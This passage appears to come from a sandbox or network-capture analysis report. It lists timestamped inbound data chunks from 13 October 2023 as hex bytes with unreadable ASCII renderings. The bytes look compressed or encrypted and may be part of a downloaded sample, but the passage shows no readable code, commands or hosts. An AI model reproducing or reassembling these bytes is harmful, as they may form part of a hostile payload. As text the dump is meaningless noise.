7f 0a ae fd d5 23 d1 f8 6d d0 76 9f bb e6 f6 f8 07 60 f4 d4 c7 09 0d 4e 30 6c 4d 75 71 20 de 86 9f 59 68 e6 90 0d 3e 26 fe 2c f6 d6 f1 fb ef 7e d2 49 5f b7 70 1b 66 45 eb d3 df 72 bc 70 2e dc 3f f9 5a d4 36 28 66 27 01 d7 42 Data Ascii: WNfV7c'GMuH+Zkgc\|+<}(0<GZdOfP!=+=c)"\/,LcdITgySbcg#r\|nnk,#mv`N0lMuq Yh>&,~I_pfErp.?Z6(f'B
2023-10-13 14:06:11 UTC	1788	IN	Data Raw: f2 a7 cc f7 37 7a 42 33 4b 29 92 fa cc e4 25 69 85 ed e1 07 98 0f 6c 26 c2 ec 11 0f 0d d1 94 c9 8f 46 94 da a0 c8 55 f1 28 9d b9 76 2d b8 47 f9 4e c9 32 a0 8b df 0b 9f 04 25 27 92 fd b7 8c 3c c1 b3 51 de 80 f3 f2 2f 48 43 f5 ba e4 5a 00 43 87 a1 77 ae 47 a2 1b c9 87 80 56 4c 79 e6 cc c1 32 62 be 53 9c 82 b3 56 2a 03 17 d7 ae 8e 63 18 5f b4 ca 49 62 47 24 f7 75 5c a7 f1 70 ef d3 50 1b 18 c8 b2 74 1e da 05 71 88 75 bf 0d a1 e2 17 8b 8e 11 b8 c4 8d ee ab 27 49 cf 5e 86 52 7d 42 af 07 01 23 34 02 ce 82 b6 4f db 37 60 f5 73 67 9b 4f 4a 99 13 b7 38 25 3d 42 81 31 ca a4 e9 99 c1 90 59 e0 db d1 91 c2 85 74 9d 1f 52 92 3d 00 99 21 ec d1 cb 96 69 2f fa d8 40 98 34 59 c3 34 8d 8a a0 99 c7 fd 41 52 b8 c8 de da 48 5e b2 b7 60 7f 5c 9d 6e dd 72 87 48 9f de 7a 99 71 a4 Data Ascii: 7zB3K)%il&FU(v-GN2%'<Q/HCZCwGVLy2bSV*c_IbG$u\pPtqu'I^R}B#4O7`sgOJ8%=B1YtR=!i/@4Y4ARH^`\nrHzq
2023-10-13 14:06:11 UTC	1804	IN	Data Raw: b9 1c 92 a9 52 d7 69 4a eb c0 91 7e 0a 2a 5b c0 50 d1 aa 69 8a 66 0b 03 a2 ea 47 e8 a4 4f 56 82 45 9f a9 9b f4 56 9f 67 21 31 1d a5 00 80 da b5 fe bc 08 59 75 c9 59 21 5c d6 2c aa 63 b2 e8 83 e5 59 1c 55 41 f4 0c e3 32 69 0c 51 01 1c ae e6 7a 13 26 43 c3 2c 00 ea 2e d3 fa 27 93 63 d8 f6 a8 28 67 75 c2 6e 49 cc 3d a0 6d fb f0 dc 8b 28 ea 10 c0 5b ba 11 67 04 c9 62 f6 d5 01 c7 77 83 e8 7f 51 a0 d7 1d f1 99 e8 36 4f f8 a3 8f b5 6c 98 83 a6 12 0c 07 70 b7 1e d1 e0 bd 84 ef f6 2f ba bd 80 79 bf c1 c2 72 28 69 32 72 5f 7b 0b 5a c7 63 b8 18 35 68 b1 ad 1e 4e 02 4e 54 b4 d9 cd e9 c5 fe 22 2a 5c b9 f2 0e a6 73 48 09 66 1c 2f a4 66 79 0c 4d f6 bd 80 de 17 ed 21 64 da c2 fb ac d3 fd 34 e8 e0 0f 0d 51 7b 64 61 98 80 94 bc 6e da ce 81 20 a6 bf 18 78 58 1b 72 67 06 53 Data Ascii: RiJ~[PifGOVEVg!1YuY!\,cYUA2iQz&C,.'c(gunI=m([gbwQ6Olp/yr(i2r_{Zc5hNNT"\sHf/fyM!d4Q{dan xXrgS
2023-10-13 14:06:11 UTC	1820	IN	Data Raw: 7e 08 c3 5d 99 f3 54 45 95 46 97 44 98 10 d3 43 5a 03 e7 cd 55 8f a6 20 2e 7e 99 76 d7 96 ba 17 08 81 95 36 68 ce 76 59 24 67 3a 71 a6 eb f8 c3 30 48 23 7b a2 44 46 39 e4 aa d3 ef 22 24 d8 e6 67 bc 3a 85 8b fe 88 17 f9 93 42 b2 7d ca 13 fd 38 9d aa c0 a9 21 dd d6 a6 5f d2 4d 9d d0 f5 b5 99 17 b1 dc 81 5e 91 d2 f4 78 21 ce 21 c0 e8 bf d4 02 73 e4 4e 92 5a b3 48 22 bf 21 2d 50 a6 c8 ac 45 61 ba 5b 30 46 7e 78 b1 f3 a5 db a4 31 49 67 14 2e ec fc 66 ea 5e 31 58 c4 e7 e3 32 ab 36 d8 a1 f7 4f 19 e0 2b 1a 47 eb c7 b6 a1 76 35 2e 9b 3a 9a 98 27 c5 24 6e 51 0d 5c 42 bc f6 39 37 49 02 ce 37 8b 7b d4 6b 98 fe a9 7b 7e 61 02 30 de e4 f6 e7 b7 87 61 9c 81 01 ef 5c ff c4 73 3b cf 55 66 0d 26 4d 2e e3 b5 72 6c 8c 76 84 a7 29 35 87 c4 0e 24 57 4c 46 67 8d 1a 9f 5e 8e f8 Data Ascii: ~]TEFDCZU .~v6hvY$g:q0H#{DF9"$g:B}8!_M^x!!sNZH"!-PEa[0F~x1Ig.f^1X26O+Gv5.:'$nQ\B97I7{k{~a0a\s;Uf&M.rlv)5$WLFg^
2023-10-13 14:06:11 UTC	1836	IN	Data Raw: 1c 65 0f 3e 6c 11 d2 92 87 e3 0d bc 5a a1 ce 91 6c 8a 3a a3 64 77 33 1d 50 36 e1 33 14 01 8e f7 df 57 f4 8d f7 2e f5 6c 85 da cc 44 d4 43 11 f6 f6 20 f7 a8 bd 7c 14 91 05 ad 90 ef 0c 39 f5 29 fd 17 f6 cf c3 3b 1c f0 0c 7b 19 05 ed 48 af f5 b8 39 05 d3 a1 00 f2 ee 3d 14 dc a2 b1 7f 64 ee e1 50 90 3a 3d b4 e6 ff 81 a7 6e 7e 22 ce 6e 9b 1e 99 d3 eb f1 34 15 07 07 bf b3 52 f1 d6 44 ab 1d 49 67 52 62 48 c5 6d ec 91 7d ed 3d 0e fa 42 80 28 65 fb a8 0c 6d de 1e dd 04 6a a6 86 1d 69 22 ea 8d 72 56 87 a5 9a dd 71 3b b8 d3 e9 33 8c da 5a e8 52 cc 04 e2 c7 2a f7 d6 c5 6f 3c 57 86 f3 29 ab e5 8d 89 ef 23 e3 57 f9 2b 00 72 cb 2d 51 0e 68 fa 8a ad f3 dc 4b 52 71 36 37 83 c6 40 fc 1b 3b f9 b1 8b db 61 53 00 c1 4f 8f e2 0d 08 a9 89 4b fe 8f c1 2e 57 c1 12 81 af 70 5c 78 Data Ascii: e>lZl:dw3P63W.lDC \|9);{H9=dP:=n~"n4RDIgRbHm}=B(emji"rVq;3ZR*o<W)#W+r-QhKRq67@;aSOK.Wp\x
2023-10-13 14:06:11 UTC	1852	IN	Data Raw: ae 49 9b 25 de e6 81 f8 23 40 f4 ac a6 d5 c9 23 db ad 66 f1 ac 63 a0 f2 21 58 65 83 c9 08 3f 2e c5 af 31 37 d0 f5 94 01 e2 8d 47 12 dc 40 be 95 ef 06 f4 d7 3e 74 f8 6c fd 34 bc e4 28 eb 36 c7 4b 17 67 8d 1e f6 9a e1 75 2b 53 0b 28 21 5c 70 a3 b8 d8 b3 5c e3 87 ae 43 61 64 44 b0 e9 f9 7e d4 72 ac 37 50 36 f0 f7 67 a5 49 c6 3a 83 b1 02 03 85 22 35 de 03 7d d4 61 53 7d b7 1d 5d 6c d1 b9 f1 15 5e a7 45 7f dd 94 7f 40 30 e6 5d b7 e1 33 d7 90 e8 98 38 42 0d 39 dd 95 d2 57 e8 3f fc 01 89 bd 44 04 f7 e4 69 aa 94 b4 a2 79 e2 99 96 e2 e6 a6 d5 2a d7 db 65 ea c8 9a 1b 45 22 ef 26 1e 6e 7d 3e 30 ac ca 09 30 c9 38 69 a2 a5 98 39 17 3d de 2d 45 59 52 68 bd 8b c3 e7 66 dc 90 ff d6 8f e5 b3 d5 3e ea 01 ed d8 da 12 52 3e fd dc 19 db e8 e1 c8 ee 48 97 d1 1f c2 5a ca 2f d8 Data Ascii: I%#@#fc!Xe?.17G@>tl4(6Kgu+S(!\p\CadD~r7P6gI:"5}aS}]l^E@0]38B9W?Diy*eE"&n}>008i9=-EYRhf>R>HZ/
2023-10-13 14:06:11 UTC	1868	IN	Data Raw: 9e fe 1b f3 dc 7e d3 bc 3c ff 5c d2 48 d4 7b e6 61 8f 8d aa 5c 64 c4 cf 1a 3e bc bd 51 1d 35 73 6d 57 e2 fb 1c 22 d2 96 11 c0 6b ac 3e c0 42 01 b7 64 02 81 90 49 5a 86 85 31 80 f5 03 60 bc 37 47 2b 0c 58 c9 0e 2d 10 5e dd 2a a8 68 f0 37 07 ae 38 50 82 d3 63 0a 40 eb 58 15 45 94 b0 c4 cc ff 5e d0 38 17 b5 cc 0b 04 3d d5 43 90 71 95 62 71 ee f1 09 0a a6 fe 44 2f 51 dc 77 6d 6c 41 d8 00 21 1b 57 c4 f1 5c a5 7e b5 33 0a fa eb 83 e7 22 b9 5d 61 aa ed 74 9f 2e 40 1b da 6f 43 d6 ec 1a f9 92 b3 b4 fb 7f 22 27 9a a3 fe 86 83 a2 f1 a5 3b 7d aa de c6 1b 85 58 b9 3c 04 6d cb 54 0e 53 b4 cc 85 13 3f fd f3 b6 71 9b cc 2a 84 5f 5b 69 0f 29 34 3f dd ae 13 e9 71 b0 db 2c a3 f1 1b 7a a8 51 08 ac 15 24 50 a8 ab bc 49 66 3f c6 8a 53 62 13 ed 80 13 2e 9b d6 02 60 e3 ae aa e6 Data Ascii: ~<\H{a\d>Q5smW"k>BdIZ1`7G+X-^h78Pc@XE^8=CqbqD/QwmlA!W\~3"]at.@oC"';}X<mTS?q_[i)4?q,zQ$PIf?Sb.`
2023-10-13 14:06:11 UTC	1884	IN	Data Raw: 1e 86 03 aa 7a ee 5d 56 80 f8 46 6e d3 8a 16 54 e4 3b 0b 4d 49 39 85 1a 0c 29 53 56 22 80 07 60 76 0c 2e ff 59 84 0a 3c 9d 87 9d 5d 7a 86 35 c7 c2 54 03 47 74 8c ec d0 f2 8f e6 68 1d 54 29 3e 5f 8a 52 e5 7a 44 be 04 b9 76 cf 7c 52 48 1b b7 83 44 e8 e0 d7 c3 3f 42 55 e7 df 9c 55 89 3a 53 e5 32 27 6a 4c ad 7c f6 f3 04 e9 56 51 6c c7 40 b6 ce d0 0a 81 7f de 7f ee 69 15 01 50 1c 03 f9 50 67 8c 64 b7 c9 28 4d 3c 84 cb 40 c8 4e 43 13 2d 4b 68 b6 4c 1f e8 c8 1d 43 28 76 b6 f9 73 e9 33 c7 7a c1 1c 9b b6 61 65 ae c3 55 ca 40 15 17 9b c0 59 ea 54 6f 8e 9e cd 29 40 02 a8 f9 d4 bb 02 d4 38 67 48 bf fe 97 5f bf 93 b5 40 31 69 d0 63 59 4a 89 cd cd 07 a2 06 e0 00 3a a2 6f f6 04 8f 63 4b 54 d8 0b fd 15 75 5c be 1d 1e f5 9d 49 10 a9 5e 9e 25 ff af 8a f4 d1 2c d8 1f d3 1f Data Ascii: z]VFnT;MI9)SV"`v.Y<]z5TGthT)>_RzDv\|RHD?BUU:S2'jL\|VQl@iPPgd(M<@NC-KhLC(vs3zaeU@YTo)@8gH_@1icYJ:ocKTu\I^%,
2023-10-13 14:06:11 UTC	1900	IN	Data Raw: 71 4a 26 c6 4e 9b a5 1e 13 58 ed a0 ae de c5 4d bb 51 0d 4b 75 cb c1 14 69 14 27 2d e7 a7 9e f9 ef 5b a3 ae c6 f0 d0 a9 bd d2 8b 20 1a b2 9e 48 9a 9c e0 3b 85 fa f4 9b 97 a2 7a d1 a7 cc ff 3f ec ba 7b b4 21 43 e8 66 56 80 63 1e 16 ff 4d 01 d4 d3 92 99 89 fb af cb c2 ac 1f 06 53 6d bf 2f ed d4 3e f6 73 ca ab b8 f2 73 36 45 36 75 ee f6 84 ca 56 9c 8e d5 98 db 54 cd a9 36 87 3c 2e 9c 97 76 ff 7f 7b 88 f6 93 54 a9 7d ab cb 74 59 d2 68 a1 24 e2 5e 61 42 19 b5 ba 87 f7 66 ba 78 f0 42 d6 92 81 0d 79 0a 7d 93 e8 88 53 30 1e f1 e3 d1 12 dc 7b 41 29 f0 01 5d 26 f0 cc 17 b5 5e 06 04 41 ed 23 c0 d2 44 c4 b0 b4 dc ec 69 98 dc 3b de e2 d4 79 f0 93 eb dc 2d 6e e5 9d fe 1e 0a 47 49 51 11 a6 84 51 4f e6 59 be 1d c4 d7 43 d5 b3 cf 4f 91 0d 48 5f c1 de 33 fc 26 df 41 80 17 Data Ascii: qJ&NXMQKui'-[ H;z?{!CfVcMSm/>ss6E6uVT6<.v{T}tYh$^aBfxBy}S0{A)]&^A#Di;y-nGIQQOYCOH_3&A
2023-10-13 14:06:11 UTC	1916	IN	Data Raw: 34 c4 ca 8d 20 45 40 71 14 af 7e df 34 62 65 1e 8f 56 06 f5 34 e6 c2 75 3c fa a5 f6 39 b8 5e 2a 14 e2 57 74 96 43 80 dd 4d 04 ea 24 b6 38 86 13 32 31 18 bb a4 b3 4b 4b de df 7a 9f 9f 72 00 07 15 61 76 a0 ad 7a b6 e6 72 ba 7d 8d 66 39 24 b1 ce 9e fe df 81 cb 71 85 53 f1 96 d2 f9 3a a3 41 65 bc 8e 59 13 29 de 33 82 3a 20 70 a0 86 02 64 04 9c a2 c2 f5 e4 1b 0d 91 d2 86 e5 f3 5f 90 0e 66 e4 88 af 17 5f 42 55 ed ba 89 0b 64 f2 bb 53 f9 e9 7c 6b 2d 32 87 9f 82 fd 1b e4 5c dd 90 70 20 4b c0 c7 53 85 c2 c9 28 0b 2d 1b e7 0a 0a 5e 14 cb 79 9b d6 6b cf 53 fd 47 1d e8 73 09 16 fb f1 08 b2 cd af a2 ed 64 9d 7c 81 23 0e 0c 2c 78 ab 3f 23 f5 26 c4 6a 01 ae 37 b4 2c b8 ed 21 69 16 cc b4 08 20 b9 83 2b 97 f9 d7 f7 11 93 fe 40 a1 21 b1 dc f1 e5 65 ba 7a fa 36 8a e2 bc 6d Data Ascii: 4 E@q~4beV4u<9^*WtCM$821KKzravzr}f9$qS:AeY)3: pd_f_BUdS\|k-2\p KS(-^ykSGsd\|#,x?#&j7,!i +@!ez6m
2023-10-13 14:06:11 UTC	1932	IN	Data Raw: ad 5c f0 bd 8b e6 e6 40 c3 f5 9f 75 1c 22 57 4d 15 31 e8 e3 28 13 a4 7d 55 ec bd 25 58 24 42 ca 13 92 8a 82 d7 d2 22 cb 4c 91 1d 03 53 b4 84 dc 0f 46 28 68 dd d9 3f c2 02 a0 40 4c 6a 59 6c 8a 0a 75 a9 a3 d1 b8 01 3f bc 9c c8 0b 8a f9 4e 0b c3 a8 ed ca e0 4c 67 29 b3 28 ab 8b 9e ff 48 a0 ba 08 be 94 5b 68 6e 26 16 5e 49 1b 66 9b 05 02 5e 7b 28 c8 02 e7 eb 36 50 77 2e 9b ba fc 62 47 52 f9 55 c3 49 db 6b e2 c9 f3 c4 90 59 2a da 7f 8c 57 02 63 22 fb 69 1c 80 8b 20 c7 28 78 ff 99 f2 6c 68 1e 01 f5 cc ec 69 54 1e 2a 52 39 55 07 50 20 42 a0 1d 89 51 c2 24 c4 69 b5 e8 5c 6c df 75 ca c2 29 c8 31 fa 9b 60 43 b0 f9 1f af cc 86 de 71 9e 01 6f e3 3b e2 be 93 a9 a5 00 e0 14 b4 55 7f 83 5e 94 53 e2 df 07 cc 88 84 88 f5 27 45 fc cf 23 a7 25 3e 54 2e 3b b1 17 7e 69 0c ac Data Ascii: \@u"WM1(}U%X$B"LSF(h?@LjYlu?NLg)(H[hn&^If^{(6Pw.bGRUIkYWc"i (xlhiTR9UP BQ$i\lu)1`Cqo;U^S'E#%>T.;~i
2023-10-13 14:06:11 UTC	1948	IN	Data Raw: fa c3 1d 41 cd a1 c4 42 ae 7d c4 3f 13 f7 05 f8 e6 76 89 1e 2f 31 89 c9 14 1f 35 c7 9a 7e 8d ff eb ab 87 dc 42 2d b0 b6 29 b6 7b da d8 8d 4f 52 14 0d d5 1a 25 00 1d 0d 38 cf 0c 66 1f 3a 56 de f0 21 92 d7 d4 33 c8 be c0 ad eb fb d5 fe 1d 1b 71 8a da 1e 4e 07 a8 c3 bc eb 90 c8 2e 38 f2 d1 d2 c8 f9 92 e7 94 94 62 0b 33 4b 72 07 a1 bc a2 05 ec 71 4c 5a 1b 34 80 c2 9e 50 0c b4 54 d0 39 c0 e9 12 49 bd 3d d1 62 cd 02 a0 d4 f6 17 48 c4 c1 0b ba 14 87 c1 96 e7 ba 5c ba b5 c1 d7 e5 45 75 b5 ba 8f 2f e8 c5 e7 5e 01 be e7 b6 4f 12 17 a2 3c 40 b1 c5 fd c9 a9 49 79 81 5b ac 82 87 1c 6f c4 b1 62 cd 2c 45 87 fd b9 94 d8 d4 af ff 9b 10 92 28 15 a1 92 f1 05 1c 17 3c 47 30 04 45 97 f0 ca 65 4c 87 ed 1a 40 c6 46 fd 63 88 ee e2 dc c8 5f b0 ae 86 9e 40 f3 05 1b 0e fd 1a fc cb Data Ascii: AB}?v/15~B-){OR%8f:V!3qN.8b3KrqLZ4PT9I=bH\Eu/^O<@Iy[ob,E(<G0EeL@Fc_@
2023-10-13 14:06:11 UTC	1964	IN	Data Raw: 6c be b4 77 29 a4 64 68 34 4e 12 50 3d 13 82 b3 c1 fb b1 ba 34 c7 f4 b8 a2 31 be 18 33 76 d8 db 4c d9 7c 72 d5 5e 98 5f 54 ec d1 02 07 70 2f c1 dc 16 cc 72 e6 da 56 f2 e6 f4 e6 8a 91 71 30 43 18 c0 2c 62 78 e0 3a e2 66 80 87 31 06 b9 66 2c 98 ab b4 71 9b 3b 88 51 57 37 6f 7d 30 ae e5 2e 91 c8 a6 3a 26 7e a7 54 2d 6c 93 18 22 24 f8 1b 29 1e 88 c8 c5 ce 6a 41 ca ab b0 8d 7d 4f ca 89 f5 7a 24 43 65 8e af 9e 45 53 a1 f7 8c 0c b5 21 0c 02 45 fd 30 78 5b 03 9e 4e b2 4f b5 bf a7 8e c1 5b 54 47 be e6 d8 68 4e 72 4e 5c ba 3e 9a 87 91 28 2c 42 bb d6 fc 68 ed 8e af 92 e3 d1 7c 86 7d 3a 4e c9 b7 8c 55 b7 65 ff 45 aa ce c7 7f cb a8 d6 92 13 e8 0e 6a bc d1 49 f8 d4 ec 9b 2a 93 67 11 de e8 1f 49 bf f8 45 d6 18 05 2e 8b 32 45 c2 9f 5a f5 82 90 13 86 d4 10 37 28 da 09 b5 Data Ascii: lw)dh4NP=413vL\|r^_Tp/rVq0C,bx:f1f,q;QW7o}0.:&~T-l"$)jA}Oz$CeES!E0x[NO[TGhNrN\>(,Bh\|}:NUeEjI*gIE.2EZ7(
2023-10-13 14:06:11 UTC	1980	IN	Data Raw: 0d 15 35 e4 3e 56 02 9d e5 61 b1 5a b3 1a 15 3c 01 b1 74 c9 97 93 a7 20 01 7a 54 5f 3e 70 d1 48 a8 e2 fb 4d fa 66 ba f5 16 6d 04 d9 b7 48 18 0a 6f aa f7 2b be a6 fb 7d aa 01 7c 5a 30 36 8a 6c 88 2f bb f3 43 58 71 5d 11 06 6a 65 9d 63 95 8d f0 68 5b c6 73 95 28 9f 15 db 4f 2e e2 b4 16 f9 15 4c 2a 76 03 fc 37 c5 a9 2b da f8 b4 1d a6 a6 8b 28 ad 6c 84 36 5f 92 b5 6a 74 20 9f 36 7b 39 f2 1c b0 78 76 ed fd 12 cc 89 d7 01 83 77 21 12 d1 ae d8 4b 8b 47 90 f8 b2 7f fd de b9 ad 6c d0 56 9b 41 a9 20 c5 2e 6d 0c b8 95 eb 12 0d ba 1b ec e7 41 1b d8 b8 20 86 ad ee cc ec 44 54 80 2f 25 62 0f 9c 50 9b d2 15 6b 84 64 83 ae 2d e0 bf 0c 26 6b 03 25 04 7a ff 06 9e a8 88 f5 b3 32 4b 83 fc 2b 40 e0 b2 f7 57 29 94 d3 73 e7 cd 6c 15 a2 ec 47 70 88 29 e5 41 bc 24 6a 8b a7 27 c3 Data Ascii: 5>VaZ<t zT_>pHMfmHo+}\|Z06l/CXq]jech[s(O.L*v7+(l6_jt 6{9xvw!KGlVA .mA DT/%bPkd-&k%z2K+@W)slGp)A$j'
2023-10-13 14:06:11 UTC	1996	IN	Data Raw: 55 3f 38 cd c8 a3 5e 76 ea 9a dd ec 8e b9 19 2e 6f f7 81 bc 68 93 22 d6 7b c9 0f 05 7e f1 53 f8 ae 64 f2 54 13 df 16 e9 a3 9a ca fe 40 fc 96 63 2e 14 8c f3 b7 62 35 08 2d a4 43 73 2b 5b 36 9b 09 ad 2d 25 b2 bf c8 25 5d 49 01 2a 19 ec 39 1a 3d 05 59 dd 5b f2 94 d3 7d 70 e6 03 a5 b7 0c cd 6b f0 16 56 41 f4 65 50 02 fd b1 f7 e0 13 5c 60 d9 f8 7f 4e 7b 7d f6 c4 11 76 92 8b 25 cd 99 8f 53 cf 27 54 5a 35 4c ba e2 b2 b6 dc b6 cd 48 03 f4 7c 81 28 c9 56 aa 1c a0 4e 2b b2 1f 65 a2 94 2d 88 8c 90 6f bd e2 83 39 fe 9d 15 b2 67 d7 1a e4 05 7b 66 cb e1 06 d1 93 a2 9a 0c 20 df 21 16 fd 5a d7 c6 68 3a ed 2c f5 f1 ea 3a 26 a3 2d 81 68 d5 7c a6 af 0f 0f 93 b9 ce 53 18 37 9a 9c 23 2c 76 ac 75 5f 50 6e a6 82 bc a7 0d cd fc 3b d7 89 ed b3 78 ea 43 a9 90 fc bf 89 41 32 31 8a Data Ascii: U?8^v.oh"{~SdT@c.b5-Cs+[6-%%]I*9=Y[}pkVAeP\`N{}v%S'TZ5LH\|(VN+e-o9g{f !Zh:,:&-h\|S7#,vu_Pn;xCA21
2023-10-13 14:06:11 UTC	2012	IN	Data Raw: 56 a4 ae 36 90 16 6b 46 96 2a f7 bd 0f 86 e9 2a ce 2e 0d be 8d 4d 54 5b ca 10 f7 0f 47 76 64 97 4f ed 6d 35 37 c3 a8 ae c3 dd bd 78 7e 81 8d c7 9c fe 1b 36 2a 95 01 44 4f bc 31 ed 7b ef d4 3a 88 35 fb db e6 a3 12 03 7f 95 33 00 36 ed 27 f4 f3 80 10 c6 9e 43 d1 ab c9 21 9d 42 fd 4a 28 f7 50 e4 76 18 33 cb fe 9f 52 10 26 90 29 ec 4d 2a e6 a3 48 8c 2a 7b 9c 74 18 69 98 d6 68 55 60 c3 cb 4b 59 ef c6 f5 4a b1 91 2b 72 60 55 bb a0 11 6c 7f 07 3f d4 e7 8a ee 6a 0b 63 66 5a cd 2b e6 86 ca a8 80 26 7a 68 5e 8e 5e 37 08 62 b2 bd a8 f5 c6 69 71 12 8d b2 42 63 b9 8c dd d0 17 81 ae 42 70 de 7f bf ba cb 23 75 6a 1a f6 80 c4 20 1c 27 61 5a 7e c2 e6 f7 95 06 74 2a 9c 72 99 28 93 f9 a7 b7 78 94 fe a5 ea 8f 47 fb 8f 59 cb 9e 29 f1 3a 3a 6a 93 10 9d bf 93 89 3c a9 10 c0 df Data Ascii: V6kF*.MT[GvdOm57x~6DO1{:536'C!BJ(Pv3R&)MH{tihU`KYJ+r`Ul?jcfZ+&zh^^7biqBcBp#uj 'aZ~t*r(xGY)::j<
2023-10-13 14:06:11 UTC	2028	IN	Data Raw: 6e 30 12 46 a3 c8 95 75 c7 c0 6d dd 7d 97 bd e8 5c df 00 3b 8f 50 42 0d 8b a7 2f c0 4f 22 66 40 14 fa 38 f5 58 80 23 4d 85 e1 47 ed 7b 44 e4 5c 7e dd 41 8a 20 86 cd 15 f8 74 52 d3 eb 48 c1 7f fa 7f 9b 93 4a 65 ae 00 4c 79 4d 5d 1c d2 e5 f0 c2 28 4d fe fd c3 62 bb 04 2a 04 3a 27 51 93 c5 9b 78 1e 15 4f d9 99 8a 74 0b 8b 53 e6 05 04 86 c2 e4 35 68 1b 64 4c da 38 4f 46 39 18 14 f4 69 90 7d b3 19 41 ee a4 8e 1c d6 e5 a4 9e de 08 60 c9 93 f1 11 20 8e a4 24 0b a1 4d 8c 8a 2b b6 46 6a 26 03 28 57 e2 e3 bb 38 4f 30 91 c6 5d 59 a9 9f 70 e1 76 86 eb 93 ff 45 0e 6e 8b f5 3a 71 45 e4 1e f9 47 f7 fb e6 ba 96 7b 05 a4 db 81 96 ff 6a 1a ca 4f c6 e1 49 48 ba 83 22 97 c9 32 fd 46 14 2e ad 58 0f f4 eb e6 ee 05 35 38 f9 43 e9 ce 33 ce 30 c5 25 ba 9e bc 64 34 b9 84 f0 0e 57 Data Ascii: n0Fum}\;PB/O"f@8X#MG{D\~A tRHJeLyM](Mb*:'QxOtS5hdL8OF9i}A` $M+Fj&(W8O0]YpvEn:qEG{jOIH"2F.X58C30%d4W
2023-10-13 14:06:11 UTC	2044	IN	Data Raw: d2 d0 cc 7d 60 e2 68 e5 f7 78 df 04 12 8b 7c c9 7b 47 d8 b4 05 17 f6 e1 ce 28 eb b6 72 78 37 00 8e 13 c4 34 ca 84 22 31 e7 fb 60 c7 1a ad a4 8d b4 93 77 49 b9 9b c0 97 96 6b ee 35 3d 04 73 f5 2c d0 50 47 e2 52 28 15 94 ef 48 9c 3e c1 ef e9 9a a9 3e e4 eb f1 8b 5e ef 8d 31 bf d7 38 c7 39 39 74 af 55 14 f0 ae 36 87 da 89 3f f8 aa 6d 7c 04 a4 ce 0d 99 03 8d d2 89 d7 1b 41 e6 d4 81 4a 81 26 9d 07 41 76 e7 f8 6c b9 21 99 d3 24 87 c0 2a 17 18 74 9f 34 fd 02 48 64 db c5 9c 28 5a 20 cd af b3 dd d6 45 0b 8f b3 68 22 13 c2 ee 7d 47 8a 06 7b 26 d5 b9 ca 93 c2 a9 b8 f5 de 32 fc d3 a5 d9 ec f3 90 0a 0d d3 05 27 c8 d1 49 b0 bb f8 7e b7 2a 28 88 21 46 09 e7 28 0d ba 60 fd d1 58 71 7d 75 a8 e9 1e 2b 8c c3 d1 a9 b9 a2 97 dc c8 a8 4c 46 b3 62 b4 c8 54 11 94 05 02 b7 0b 68 Data Ascii: }`hx\|{G(rx74"1`wIk5=s,PGR(H>>^1899tU6?m\|AJ&Avl!$t4Hd(Z Eh"}G{&2'I~(!F(`Xq}u+LFbTh
2023-10-13 14:06:11 UTC	2060	IN	Data Raw: ba 84 45 3d 65 a7 8e 8e ed a0 5d 9b 41 54 8d 88 f2 b9 f8 98 1d c9 f9 12 f7 0f 71 b8 07 fb 3a fc 82 f6 c2 be d7 d8 a4 22 3b 42 8c b8 f9 d1 f1 ed 5f b2 12 c8 86 a6 97 d0 a4 76 32 44 bd 3f f1 4f e4 a6 82 1d d9 1f f5 dc c9 ab c6 20 bf 1a 14 c0 65 21 81 69 f8 8e 93 0b 5d 96 12 2c 4a 66 52 2c 42 25 8d 5a 42 68 95 a5 39 1a 7f 58 f5 06 36 82 92 39 65 26 09 b0 90 8c 6c 9d a8 25 6b 95 ed e4 8d 5b 75 48 49 c8 b2 40 0b 98 76 ad 56 c2 e6 59 a4 4c e8 94 e4 9f 18 23 37 d0 c5 f9 ab 58 d5 8f 96 89 d1 b3 50 4f ff 45 8d 23 df 6a 96 cb 1f d9 79 23 08 05 c7 e4 c1 54 d4 43 d5 fb 6e e5 ef 76 71 f5 16 5e 66 c7 f6 8f e7 62 8f b0 36 10 f0 6f 86 90 a9 91 5b 99 54 f1 f1 c4 d6 e8 e0 a9 ce 7a 01 99 29 6d 20 aa 2f 2b 79 93 4b 90 74 6f e2 d7 5d 96 24 72 da a8 1c 0a a1 61 95 de 18 1f 38 Data Ascii: E=e]ATq:";B_v2D?O e!i],JfR,B%ZBh9X69e&l%k[uHI@vVYL#7XPOE#jy#TCnvq^fb6o[Tz)m /+yKto]$ra8
2023-10-13 14:06:11 UTC	2076	IN	Data Raw: 3d aa 08 54 06 e0 96 89 e4 e1 e7 5e ad 04 a8 46 b0 ba d2 cf ba 91 c4 bb b2 e8 7d 76 76 e3 67 58 2e 94 4a 0c 0d f3 e4 70 06 2c 84 f5 11 73 b9 ef a9 21 b0 bc 64 64 85 fd 3c 64 37 34 41 f0 c8 5f e3 b9 73 37 d8 91 f9 f3 28 96 8f ac 4d c0 b5 dd 96 a8 5e 2d a0 46 e4 c0 5e b2 4d 44 e4 ec a6 00 95 c3 13 27 82 5b 7e e4 60 67 c4 0b ed 52 48 19 af 8c c2 ac bd 57 3b 23 81 99 ba ba b4 06 bd 3c 18 99 7a 6f a6 f4 dc ff 33 57 2c 61 25 f2 b9 0d 46 e4 6d 11 67 db a7 90 d6 71 a9 7d a0 e4 60 04 16 f8 df 7c 78 b2 63 90 b4 55 f9 61 c9 c8 02 6f b8 42 54 43 3d 79 8e 50 e1 02 a6 57 b8 91 89 e4 03 33 44 cb 94 e8 c5 7e 14 48 45 7b 00 95 87 ef 35 dc ae 86 37 00 2c 2f 97 44 98 a3 18 ec 8a 53 8a 20 71 b1 39 62 f6 a0 0a 1a 7c 69 ae c0 80 07 9d 85 8b 6b 54 6a 6a 59 01 9c 68 02 36 6d 9a Data Ascii: =T^F}vvgX.Jp,s!dd<d74A_s7(M^-F^MD'[~`gRHW;#<zo3W,a%Fmgq}`\|xcUaoBTC=yPW3D~HE{57,/DS q9b\|ikTjjYh6m
